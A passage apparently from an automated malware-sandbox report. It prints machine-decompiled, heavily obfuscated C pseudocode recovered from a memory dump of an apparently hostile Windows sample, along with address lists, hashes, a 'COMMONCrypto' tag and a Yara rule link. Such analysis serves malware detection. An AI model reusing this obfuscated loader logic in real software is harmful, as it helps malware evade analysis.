						_t488 = _t487 & _a8;
						 *_t306 = _t570;
						_v8 = _v8 + _t488;
						_push(_v8);
						_pop(_t566);
						_t437 = _t437;
						 *_t594 =  *_t594 & 0x00000000;
						 *_t594 =  *_t594 + _t566;
						 *_t594 =  *_t594 ^ _t579;
						 *_t594 =  *_t594 ^ _t488;
						 *_t594 = _t402;
						_t398 = E007D31B3(_t437, _t525, _t546, _t566, _v16, _t579, _t488);
					}
					_push(_t437);
					return _t398 ^ _t398;
				} else {
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 | _t398;
					_t263 = _t437 + 0x41cfc3; // 0x41cfc3
					_v16 = _v16 & 0x00000000;
					 *_t594 =  *_t594 ^ _t263;
					_t267 = _t437 + 0x41c769; // 0x41c769
					 *_t594 =  *_t594 & 0x00000000;
					 *_t594 =  *_t594 ^ _t267;
					_t405 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t483);
					_v16 = _t483;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) & 0x00000000;
					 *(_t437 + 0x41d0ea) =  *(_t437 + 0x41d0ea) ^ (_t483 & 0x00000000 | _t405);
					 *_t275 = _t525;
					_t596 = _t594 - 0xfffffffc;
					 *_t596 =  *_t596 - _t437;
					 *_t596 =  *_t596 | _v16;
					_t277 = _t437 + 0x41cd95; // 0x41cd95
					 *_t596 =  *_t596 ^ _t525;
					 *_t596 = _t277;
					_t408 =  *((intOrPtr*)(_t437 + 0x41f060))(_t525, _t437);
					 *_t596 =  *_t596 & 0x00000000;
					 *_t596 =  *_t596 + _t408;
					_t279 = _t437 + 0x41cbf8; // 0x41cbf8
					 *_t596 = _t279;
					_t410 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v16);
					_pop( *_t282);
					 *_t596 = _t437;
					_t442 = _t410;
					_t444 = 0;
					_push(_t546);
					if((0 + _v12 & 0x00000000 ^ (_t546 ^  *_t596 |  *(_t444 + 0x41c691))) > _t442 + 0 + _v12) {
						_t285 = _t444 + 0x41cd95; // 0x41cd95
						 *_t596 = _t285;
						_t287 = _t444 + 0x41cbf8; // 0x41cbf8
						_v12 = _v12 & 0x00000000;
						 *_t596 =  *_t596 | _t287;
						_t416 =  *((intOrPtr*)(_t444 + 0x41f064))(_v12, _v16);
						_v8 = _t525;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) & 0x00000000;
						 *(_t444 + 0x41d309) =  *(_t444 + 0x41d309) | _t525 ^ _v8 | _t416;
					}
					return  *_t596;
				}
			}

0x007d31b3
0x007d31b3
0x007d31b3
0x007d31b9
0x007d31bf
0x007d31c2
0x007d31c5
0x007d31cb
0x007d31cc
0x007d31cf
0x007d31d2
0x007d31d8
0x007d31df
0x007d31e2
0x007d31e5
0x007d31ed
0x007d31f0
0x007d31f5
0x007d31f9
0x007d31fc
0x007d31fe
0x007d31ff
0x007d320e
0x007d3210
0x007d3215
0x007d3217
0x007d321d
0x007d3224
0x007d3227
0x007d322a
0x007d3230
0x007d3231
0x007d3234
0x007d3237
0x007d3237
0x007d323d
0x007d3245
0x007d324c
0x007d3252
0x007d3255
0x007d325c
0x007d3260
0x007d3263
0x007d3269
0x007d3270
0x007d3273
0x007d327a
0x007d327e
0x007d3281
0x007d3288
0x007d328c
0x007d328f
0x007d3295
0x007d329d
0x007d32a1
0x007d32a6
0x007d32a9
0x007d32b4
0x007d32b6
0x007d32b9
0x007d32bb
0x007d32c2
0x007d32c5
0x007d32c8
0x007d32ce
0x007d32d8
0x007d32db
0x007d32e1
0x007d32e8
0x007d32ee
0x007d32ee
0x007d32f6
0x007d32fa
0x007d32fd
0x007d3300
0x007d3307
0x007d330b
0x007d330e
0x007d3315
0x007d3319
0x007d331c
0x007d3323
0x007d3326
0x007d3329
0x007d3335
0x007d3338
0x007d333f
0x007d3342
0x007d3345
0x007d3348
0x007d3349
0x007d334a
0x007d3359
0x007d335b
0x007d3360
0x007d3362
0x007d3369
0x007d336d
0x007d3370
0x007d3377
0x007d337a
0x007d337d
0x007d337d
0x007d3384
0x007d3387
0x007d338a
0x007d3390
0x007d3396
0x007d339d
0x007d33a0
0x007d33a7
0x007d33aa
0x007d33ad
0x007d33b6
0x007d33b9
0x007d33c2
0x007d33c5
0x007d33d4
0x007d33db
0x007d33de
0x007d33e1
0x007d33e4
0x007d33e5
0x007d33e6
0x007d33f1
0x007d33f3
0x007d33f8
0x007d33fa
0x007d3400
0x007d3407
0x007d340a
0x007d3410
0x007d3417
0x007d341a
0x007d3420
0x007d3427
0x007d342d
0x007d342d
0x007d3432
0x007d3439
0x007d343c
0x007d343f
0x007d3445
0x007d344f
0x007d3452
0x007d3458
0x007d3462
0x007d3465
0x007d346b
0x007d3473
0x007d347a
0x007d3483
0x007d3489
0x007d3490
0x007d3493
0x007d349a
0x007d349e
0x007d34a1
0x007d34a7
0x007d34ae
0x007d34b1
0x007d34b8
0x007d34bc
0x007d34bf
0x007d34ce
0x007d34d5
0x007d34d8
0x007d34db
0x007d34de
0x007d34df
0x007d34e2
0x007d34ed
0x007d34ef
0x007d34f2
0x007d34f4
0x007d34fb
0x007d34ff
0x007d3502
0x007d3509
0x007d350d
0x007d3510
0x007d351c
0x007d3523
0x007d3529
0x007d3529
0x007d352f
0x007d3535
0x007d3538
0x007d353f
0x007d3542
0x007d3545
0x007d354b
0x007d3555
0x007d3558
0x007d355e
0x007d3565
0x007d3568
0x007d3574
0x007d3577
0x007d357a
0x007d3581
0x007d3582
0x007d3585
0x007d3595
0x007d3598
0x007d359a
0x007d35a0
0x007d35a7
0x007d35aa
0x007d35b1
0x007d35b5
0x007d35b8
0x007d35b8
0x007d35be
0x007d35c5
0x007d35cb
0x007d35ce
0x007d35d5
0x007d35d9
0x007d35dc
0x007d35e2
0x007d35ec
0x007d35ef
0x007d35f5
0x007d35fd
0x007d3604
0x007d3616
0x007d3619
0x007d361c
0x007d3622
0x007d3628
0x007d362b
0x007d3631
0x007d3638
0x007d363b
0x007d3641
0x007d3648
0x007d3657
0x007d365a
0x007d3663
0x007d366b
0x007d366e
0x007d366f
0x007d3674
0x007d3675
0x007d367f
0x007d3682
0x007d368b
0x007d368e
0x007d3695
0x007d3698
0x007d369b
0x007d36a1
0x007d36a9
0x007d36b0
0x007d36b6
0x007d36bb
0x007d36be
0x007d36c1
0x007d36d5
0x007d36df
0x007d36e5
0x007d36e8
0x007d36f1
0x007d36f4
0x007d36fa
0x007d3701
0x007d3704
0x007d370a
0x007d3714
0x007d3717
0x007d3722
0x007d3727
0x007d372b
0x007d3730
0x007d3731
0x007d373e
0x007d3743
0x007d3745
0x007d374c
0x007d3750
0x007d3753
0x007d3759
0x007d3760
0x007d3763
0x007d376b
0x007d3772
0x007d3778
0x007d3778
0x007d377b
0x007d377e
0x007d3783
0x007d3786
0x007d378b
0x007d378d
0x007d3793
0x007d379a
0x007d379d
0x007d37a3
0x007d37ad
0x007d37b0
0x007d37b0
0x007d37b8
0x007d37bf
0x007d37c5
0x007d37c6
0x007d37cd
0x007d37d0
0x007d37d7
0x007d37da
0x007d37dd
0x007d37e3
0x007d37ed
0x007d37f0
0x007d37f6
0x007d37fe
0x007d3805
0x007d380b
0x007d381a
0x007d381b
0x007d3825
0x007d3828
0x007d382e
0x007d3835
0x007d3838
0x007d383e
0x007d3845
0x007d384b
0x007d3853
0x007d3858
0x007d385b
0x007d385e
0x007d3864
0x007d386e
0x007d3871
0x007d3878
0x007d387b
0x007d387e
0x007d3884
0x007d388c
0x007d3893
0x007d3899
0x007d38a2
0x007d38a5
0x007d38ab
0x007d39ad
0x007d39bb
0x007d39c0
0x007d39c3
0x007d39c6
0x007d39c9
0x007d39ca
0x007d39cc
0x007d39cf
0x007d39d0
0x007d39d7
0x007d39da
0x007d39dd
0x007d39e0
0x007d39e1
0x007d39e3
0x007d39e7
0x007d39eb
0x007d39ee
0x007d39f4
0x007d39f7
0x007d39f7
0x007d39fc
0x007d3a11
0x007d38b1
0x007d38b2
0x007d38b6
0x007d38b9
0x007d38bf
0x007d38c6
0x007d38c9
0x007d38d0
0x007d38d4
0x007d38d7
0x007d38dd
0x007d38e5
0x007d38ec
0x007d38f5
0x007d3904
0x007d3908
0x007d390b
0x007d390e
0x007d3915
0x007d3918
0x007d391b
0x007d3922
0x007d3926
0x007d3929
0x007d3932
0x007d3935
0x007d393d
0x007d3945
0x007d3949
0x007d394e
0x007d394f
0x007d3961
0x007d3963
0x007d396c
0x007d396f
0x007d3975
0x007d397c
0x007d397f
0x007d3985
0x007d398d
0x007d3994
0x007d399a
0x007d39a6
0x007d39a6

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction ID: eb253a537037aaf06bc3d79dace00764210acfe19dae2287da83a4d6fae7d506
Opcode Fuzzy Hash: 41702c0559bb7f5a073f0754972d7e78843a10d494ddda559bbe32eb0d58a14d
Instruction Fuzzy Hash: E5521572944608EFEB04DFA4C88A7ADBBF1FF08310F1585AED886EA145D7385664CF19

Uniqueness

Uniqueness Score: -1.00%

Function 007D3FAB, Relevance: .6, Instructions: 566
COMMONCrypto

Download Yara Rule

C-Code - Quality: 89%

			E007D3FAB(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				signed int _t346;
				signed int _t351;
				signed int _t352;
				signed int _t355;
				void* _t359;
				void* _t361;
				signed int _t362;
				signed int _t367;
				void* _t369;
				void* _t370;
				signed int _t374;
				signed int _t377;
				signed int _t380;
				signed int _t385;
				void* _t387;
				void* _t389;
				intOrPtr _t390;
				void _t393;
				signed int _t397;
				intOrPtr _t403;
				signed int _t408;
				signed int _t410;
				signed int _t415;
				signed int _t418;
				void* _t420;
				signed int _t421;
				void* _t424;
				signed int _t429;
				signed int _t430;
				signed int _t433;
				void* _t437;
				void* _t439;
				signed int _t440;
				signed int _t443;
				intOrPtr _t445;
				signed int _t451;
				signed int _t454;
				signed int _t457;
				signed int _t459;
				signed int _t471;
				signed int _t473;
				signed int _t475;
				signed int _t478;
				void* _t481;
				signed int _t488;
				signed int _t489;
				signed int _t498;
				signed int _t500;
				signed int _t502;
				signed int _t504;
				signed int _t510;
				signed int _t513;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t520;
				signed int _t525;
				signed int _t528;
				signed int _t530;
				signed int _t532;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				signed int _t544;
				signed int _t548;
				signed int _t553;
				signed int _t559;
				signed int _t562;
				signed int _t565;
				void* _t570;
				void* _t577;
				signed int _t579;
				signed int _t582;
				signed int _t585;
				signed int _t590;
				void* _t591;
				signed int _t595;
				signed int _t598;
				signed int _t601;
				signed int _t604;
				signed int* _t608;
				signed int* _t609;
				signed int* _t610;
				signed int* _t611;
				signed int* _t612;
				signed int* _t613;
				signed int* _t614;
				signed int* _t615;
				signed int* _t616;
				signed int* _t617;
				signed int* _t621;
				signed int* _t622;
				signed int* _t623;

				_t585 = __esi;
				_t454 = __ebx;
				 *(_t598 - 0x1c) =  *(_t598 - 0x1c) & 0x00000000;
				_push( *(_t598 - 0x1c));
				 *_t608 =  *_t608 + __ebx + 0x41c4c0;
				_push( *((intOrPtr*)(__ebx + 0x41f060))());
				_pop( *_t6);
				_push( *(_t598 - 0x20));
				_pop( *_t8);
				_push(__ebx);
				 *_t608 =  *_t608 & 0x00000000;
				 *_t608 =  *_t608 | __ebx + 0x0041cf44;
				_push( *(_t598 - 0x1c));
				 *_t608 = __ebx + 0x41d05b;
				_t346 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x1c) = __edi;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) & 0x00000000;
				 *(__ebx + 0x41cd5b) =  *(__ebx + 0x41cd5b) ^ (__edi -  *(_t598 - 0x1c) | _t346);
				_t559 =  *(_t598 - 0x1c);
				_t609 = _t608 - 0xfffffffc;
				 *(_t598 - 0x1c) = 0;
				_push( *(_t598 - 0x1c));
				 *_t609 =  *_t609 |  *_t608;
				_push( *(_t598 - 0x1c));
				 *_t609 = __ebx + 0x41c0d0;
				 *(_t598 - 0x20) =  *(_t598 - 0x20) & 0x00000000;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 | __ebx + 0x0041c99a;
				_t351 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x20) = __ecx;
				 *(__ebx + 0x41c6ff) = 0 ^ _t351;
				_t352 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push( *(_t598 - 0x1c));
				 *_t609 = _t352;
				_push(__edx);
				 *_t609 =  *_t609 ^ __edx;
				 *_t609 =  *_t609 ^ __ebx + 0x0041d1ce;
				 *(_t598 - 0x20) = 0;
				_push( *(_t598 - 0x20));
				 *_t609 =  *_t609 ^ __ebx + 0x0041c36e;
				_t355 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t598 - 0x24) = __edx;
				 *(__ebx + 0x41c65d) = 0 ^ _t355;
				_t510 =  *(_t598 - 0x24);
				_t610 = _t609 - 0xfffffffc;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) & 0x00000000;
				 *(__ebx + 0x41c125) =  *(__ebx + 0x41c125) | _t510 -  *_t610 ^ (_t355 & 0x00000000) +  *_t609;
				_t513 = _t510;
				_push(_t513);
				 *_t610 =  *_t610 & 0x00000000;
				 *_t610 =  *_t610 ^ __ebx + 0x0041c369;
				_t359 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 + _t359;
				 *(_t598 - 0x24) = 0;
				_push( *(_t598 - 0x24));
				 *_t610 =  *_t610 ^ __ebx + 0x0041c4d6;
				_t361 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t611 = _t610 - 0xfffffffc;
				 *_t611 =  *_t611 | _t513;
				_t514 = _t361;
				_t362 = _t514 + ( *(_t598 - 0x20) & 0x00000000 |  *_t610);
				_t516 = 0;
				 *_t611 = _t516;
				_t471 = 0 ^  *(__ebx + 0x41c434);
				_t519 = 0;
				if(_t471 > _t362) {
					_push(_t471);
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + __ebx + 0x41c369;
					 *(_t598 - 0x1c) = 0;
					_push( *(_t598 - 0x1c));
					 *_t611 =  *_t611 ^ __ebx + 0x0041c4d6;
					_t362 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) & 0x00000000;
				 *(_t454 + 0x41c391) =  *(_t454 + 0x41c391) ^ _t598 ^  *_t611 ^ _t362;
				_t601 = _t598;
				if( *((intOrPtr*)(_t601 - 0x10)) != 2) {
					if( *((intOrPtr*)(_t601 - 0x10)) == 4) {
						_t156 = _t454 + 0x41d1be; // 0x41d1be
						 *_t611 = _t156;
						_t158 = _t454 + 0x41c0a8; // 0x41c0a8
						 *_t611 =  *_t611 & 0x00000000;
						 *_t611 =  *_t611 ^ _t158;
						_push( *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24)));
						_pop( *_t160);
						_push( *(_t601 - 0x20));
						_pop( *_t162);
						 *((intOrPtr*)(_t601 - 8)) = 1;
						_t164 = _t454 + 0x41c6f8; // 0x41c6f8
						 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
						 *_t611 =  *_t611 ^ _t164;
						_t408 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20));
						 *(_t601 - 0x20) = _t519;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) & 0x00000000;
						 *(_t454 + 0x41c674) =  *(_t454 + 0x41c674) | _t519 ^  *(_t601 - 0x20) | _t408;
						_t548 =  *(_t601 - 0x20);
						 *((intOrPtr*)(_t601 - 0xc)) = 0x55;
						_t177 = _t454 + 0x41c356; // 0x41c356
						 *(_t601 - 0x1c) =  *(_t601 - 0x1c) & 0x00000000;
						 *_t611 =  *_t611 | _t177;
						_t410 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
						 *(_t601 - 0x24) = _t559;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) & 0x00000000;
						 *(_t454 + 0x41cd7d) =  *(_t454 + 0x41cd7d) | _t559 & 0x00000000 ^ _t410;
						_t559 =  *(_t601 - 0x24);
						 *((intOrPtr*)(_t601 - 0x18)) = 2;
						_t189 = _t454 + 0x41cc3e; // 0x41cc3e
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 ^ _t189;
						_t193 = _t454 + 0x41cf5b; // 0x41cf5b
						 *_t611 =  *_t611 ^ _t585;
						 *_t611 = _t193;
						_t362 =  *((intOrPtr*)(_t454 + 0x41f068))(_t585,  *(_t601 - 0x24));
						 *(_t601 - 0x20) = _t548;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) & 0x00000000;
						 *(_t454 + 0x41c1cd) =  *(_t454 + 0x41c1cd) | _t548 & 0x00000000 | _t362;
						_t519 =  *(_t601 - 0x20);
					}
				} else {
					_t65 = _t454 + 0x41cb7a; // 0x41cb7a
					 *(_t601 - 0x1c) = 0;
					 *_t611 =  *_t611 + _t65;
					_t68 = _t454 + 0x41c8ec; // 0x41c8ec
					 *(_t601 - 0x24) = 0;
					 *_t611 =  *_t611 ^ _t68;
					_t415 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x24),  *(_t601 - 0x1c));
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) & 0x00000000;
					 *(_t454 + 0x41c6f4) =  *(_t454 + 0x41c6f4) ^ (_t585 & 0x00000000 | _t415);
					_t595 = _t585;
					_t76 = _t454 + 0x41c379; // 0x41c379
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 + _t76;
					_t80 = _t454 + 0x41c532; // 0x41c532
					 *(_t601 - 0x20) =  *(_t601 - 0x20) & 0x00000000;
					 *_t611 =  *_t611 | _t80;
					_t418 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x20));
					 *_t611 = _t418;
					_t86 = _t454 + 0x41d201; // 0x41d201
					 *_t611 = _t86;
					_t420 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x20),  *(_t601 - 0x24));
					_t498 = _t471 & 0x00000000 |  *_t611;
					_t621 =  &(_t611[1]);
					 *_t621 =  *_t621 + _t559;
					_t577 = _t420;
					_t421 = _t577 + _t498;
					_t579 = 0;
					_t500 = _t498 & 0x00000000 ^ (_t421 ^  *_t621 |  *(_t454 + 0x41cc21));
					_t424 = _t421;
					if(_t500 > _t424) {
						_t90 = _t454 + 0x41c532; // 0x41c532
						 *_t621 =  *_t621 & 0x00000000;
						 *_t621 =  *_t621 | _t90;
						_t91 = _t454 + 0x41d201; // 0x41d201
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t621 =  *_t621 | _t91;
						_t451 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x24), _t519);
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) & 0x00000000;
						 *(_t454 + 0x41d32e) =  *(_t454 + 0x41d32e) | _t601 -  *_t621 ^ _t451;
						_t601 = _t601;
					}
					_t622 = _t621 - 0xfffffffc;
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 |  *_t621;
					_t100 = _t454 + 0x41d01d; // 0x41d01d
					 *_t622 =  *_t622 ^ _t579;
					 *_t622 =  *_t622 | _t100;
					_t101 = _t454 + 0x41c37d; // 0x41c37d
					 *_t622 = _t101;
					_t429 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t601 - 0x1c), _t579, _t519);
					 *(_t601 - 0x20) = _t579;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) & 0x00000000;
					 *(_t454 + 0x41c9dc) =  *(_t454 + 0x41c9dc) | _t579 & 0x00000000 | _t429;
					_t582 =  *(_t601 - 0x20);
					_t430 =  *((intOrPtr*)(_t454 + 0x41f060))();
					 *_t622 =  *_t622 ^ _t595;
					 *_t622 =  *_t622 | _t430;
					_t111 = _t454 + 0x41c8c2; // 0x41c8c2
					 *_t622 =  *_t622 - _t454;
					 *_t622 =  *_t622 + _t111;
					_t112 = _t454 + 0x41c737; // 0x41c737
					 *_t622 =  *_t622 & 0x00000000;
					 *_t622 =  *_t622 ^ _t112;
					_t433 =  *((intOrPtr*)(_t454 + 0x41f068))(_t582, _t454, _t595);
					 *_t114 = _t433;
					_push( *(_t601 - 0x20));
					_pop( *_t116);
					_t623 = _t622 - 0xfffffffc;
					 *(_t601 - 0x20) = _t582;
					 *(_t454 + 0x41c606) = _t433 & 0x00000000 |  *_t622;
					_t559 =  *(_t601 - 0x20);
					 *((intOrPtr*)(_t601 - 8)) = 3;
					_t121 = _t454 + 0x41d2fe; // 0x41d2fe
					 *(_t601 - 0x1c) = 0;
					 *_t623 =  *_t623 | _t121;
					_t437 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x1c));
					 *_t623 =  *_t623 ^ _t559;
					 *_t623 =  *_t623 + _t437;
					_t125 = _t454 + 0x41d22a; // 0x41d22a
					 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
					 *_t623 =  *_t623 | _t125;
					_t439 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24), _t559);
					_t502 = _t500 & 0x00000000 |  *_t623;
					_t611 =  &(_t623[1]);
					 *(_t601 - 0x24) = _t519;
					_push(_t502 + _t439);
					_t553 =  *(_t601 - 0x24);
					_pop(_t440);
					 *(_t601 - 0x20) = _t440;
					_t504 = _t502 & 0x00000000 ^ (_t440 ^  *(_t601 - 0x20) |  *(_t454 + 0x41c48f));
					_t443 =  *(_t601 - 0x20);
					if(_t504 > _t443) {
						_t136 = _t454 + 0x41d2fe; // 0x41d2fe
						 *(_t601 - 0x24) =  *(_t601 - 0x24) & 0x00000000;
						 *_t611 =  *_t611 + _t136;
						_t140 = _t454 + 0x41d22a; // 0x41d22a
						 *(_t601 - 0x20) = 0;
						 *_t611 =  *_t611 ^ _t140;
						_t443 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t601 - 0x20),  *(_t601 - 0x24));
					}
					 *_t611 = _t595;
					 *(_t454 + 0x41c2cf) = 0 ^ _t443;
					_t585 = 0;
					 *((intOrPtr*)(_t601 - 0xc)) = 0x11;
					_t146 = _t454 + 0x41d09f; // 0x41d09f
					 *_t611 =  *_t611 - _t559;
					 *_t611 =  *_t611 + _t146;
					_t445 =  *((intOrPtr*)(_t454 + 0x41f060))(_t559);
					 *(_t601 - 0x24) = _t504;
					 *((intOrPtr*)(_t454 + 0x41ce4e)) = _t445;
					_t471 =  *(_t601 - 0x24);
					 *((intOrPtr*)(_t601 - 0x18)) = 4;
					_t152 = _t454 + 0x41c4f7; // 0x41c4f7
					 *_t611 =  *_t611 ^ _t471;
					 *_t611 =  *_t611 + _t152;
					_t362 =  *((intOrPtr*)(_t454 + 0x41f060))(_t471);
					 *_t611 = _t553;
					 *(_t454 + 0x41c895) = 0 ^ _t362;
					_t519 = 0;
				}
				_t520 = _t519 ^ _t519;
				 *_t611 =  *_t611 - _t559;
				 *_t611 = _t520;
				_t201 = _t454 + 0x41c61d; // 0x41c61d
				 *_t611 =  *_t611 ^ _t585;
				 *_t611 = _t201;
				_t367 =  *((intOrPtr*)(_t454 + 0x41f060))(_t585, _t559, _t362);
				 *_t611 = _t367;
				_t204 = _t454 + 0x41cf67; // 0x41cf67
				 *(_t601 - 0x24) = 0;
				 *_t611 =  *_t611 ^ _t204;
				_t369 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t601 - 0x24),  *(_t601 - 0x1c));
				_pop( *_t208);
				_t473 = _t471 & 0x00000000 ^  *(_t601 - 0x24);
				 *(_t601 - 0x24) = _t559;
				_push(_t473 + _t369);
				_t562 =  *(_t601 - 0x24);
				_pop(_t370);
				_t475 = _t473 & 0x00000000 | _t601 & 0x00000000 ^  *(_t454 + 0x41c5dc);
				_t604 = _t601;
				if(_t475 > _t370) {
					_t213 = _t454 + 0x41c61d; // 0x41c61d
					 *(_t604 - 0x1c) = 0;
					 *_t611 =  *_t611 ^ _t213;
					_t216 = _t454 + 0x41cf67; // 0x41cf67
					 *(_t604 - 0x20) = 0;
					 *_t611 =  *_t611 | _t216;
					_t403 =  *((intOrPtr*)(_t454 + 0x41f064))( *(_t604 - 0x20),  *(_t604 - 0x1c));
					 *(_t604 - 0x1c) = _t475;
					 *((intOrPtr*)(_t454 + 0x41cf4f)) = _t403;
					_t475 =  *(_t604 - 0x1c);
				}
				_t612 =  &(_t611[1]);
				 *_t612 = _t475;
				_t478 = 0;
				 *_t612 = _t520 & 0x00000000 |  *_t611;
				_t225 = _t454 + 0x41cef6; // 0x41cef6
				 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
				 *_t612 =  *_t612 | _t225;
				_t229 = _t454 + 0x41ceb9; // 0x41ceb9
				 *_t612 =  *_t612 ^ _t604;
				 *_t612 =  *_t612 ^ _t229;
				_t374 =  *((intOrPtr*)(_t454 + 0x41f068))(_t604,  *(_t604 - 0x1c),  *(_t604 - 0x24));
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) & 0x00000000;
				 *(_t454 + 0x41caf5) =  *(_t454 + 0x41caf5) | _t478 ^  *_t612 | _t374;
				_t481 = _t478;
				_t613 = _t612 - 0xfffffffc;
				_t525 = _t374 %  *(_t604 - 0x18);
				 *_t613 =  *_t613 & 0x00000000;
				 *_t613 =  *_t613 | _t525;
				_t241 = _t454 + 0x41c52d; // 0x41c52d
				 *(_t604 - 0x24) = 0;
				 *_t613 =  *_t613 ^ _t241;
				_t377 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24), _t481);
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) & 0x00000000;
				 *(_t454 + 0x41d106) =  *(_t454 + 0x41d106) | _t525 & 0x00000000 | _t377;
				_t528 = _t525;
				_t530 = _t528 & 0x00000000 ^  *_t613;
				_t614 = _t613 - 0xfffffffc;
				 *((intOrPtr*)(_t604 - 4)) =  *((intOrPtr*)(_t604 - 4)) - _t530;
				 *(_t604 - 0x24) = 0;
				 *_t614 =  *_t614 | _t530;
				_t253 = _t454 + 0x41c7ee; // 0x41c7ee
				 *_t614 =  *_t614 ^ _t562;
				 *_t614 =  *_t614 ^ _t253;
				_t254 = _t454 + 0x41c513; // 0x41c513
				 *(_t604 - 0x20) = 0;
				 *_t614 =  *_t614 | _t254;
				_t380 =  *((intOrPtr*)(_t454 + 0x41f068))( *(_t604 - 0x20), _t562,  *(_t604 - 0x24), _t481);
				 *(_t604 - 0x20) = _t585;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) & 0x00000000;
				 *(_t454 + 0x41c2a8) =  *(_t454 + 0x41c2a8) ^ _t585 & 0x00000000 ^ _t380;
				_t532 =  *_t614;
				_t615 =  &(_t614[1]);
				 *(_t604 - 0x1c) = _t380;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) & 0x00000000;
				 *(_t604 - 0x14) =  *(_t604 - 0x14) | _t380 ^  *(_t604 - 0x1c) ^ _t532;
				_t271 = _t454 + 0x41ccc7; // 0x41ccc7
				 *(_t604 - 0x24) = 0;
				 *_t615 =  *_t615 | _t271;
				_t385 =  *((intOrPtr*)(_t454 + 0x41f060))( *(_t604 - 0x24));
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) & 0x00000000;
				 *(_t454 + 0x41cca4) =  *(_t454 + 0x41cca4) | _t562 -  *_t615 | _t385;
				_t565 = _t562;
				_t590 =  *(_t604 - 0x20) & 0x00000000 ^ _t454 & 0x00000000 ^  *(_t604 + 8);
				_t457 = _t454;
				_t280 = _t457 + 0x41c550; // 0x41c550
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t280;
				_t387 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20));
				 *(_t604 - 0x20) = 0;
				 *_t615 =  *_t615 + _t387;
				_t286 = _t457 + 0x41d34c; // 0x41d34c
				 *_t615 = _t286;
				_t389 =  *((intOrPtr*)(_t457 + 0x41f060))( *(_t604 - 0x20),  *(_t604 - 0x20));
				_t616 = _t615 - 0xfffffffc;
				 *_t289 = _t389;
				 *(_t604 - 0x24) =  *(_t604 - 0x24) + (0 ^  *_t615);
				_push( *(_t604 - 0x24));
				_pop(_t390);
				_t534 = _t532;
				 *(_t604 - 0x1c) = _t534;
				_t537 =  *(_t604 - 0x1c);
				if( *((intOrPtr*)(_t457 + 0x41ccf8)) > _t390) {
					_t296 = _t457 + 0x41c550; // 0x41c550
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t296;
					_t300 = _t457 + 0x41d34c; // 0x41d34c
					 *(_t604 - 0x1c) =  *(_t604 - 0x1c) & 0x00000000;
					 *_t616 =  *_t616 + _t300;
					_t390 =  *((intOrPtr*)(_t457 + 0x41f064))( *(_t604 - 0x1c),  *(_t604 - 0x1c));
				}
				 *(_t604 - 0x24) = _t537;
				 *((intOrPtr*)(_t457 + 0x41ce46)) = _t390;
				_t540 =  *(_t604 - 0x24);
				 *(_t604 - 0x1c) = _t540;
				_t310 = _t457 + 0x41cb9d; // 0x41cb9d
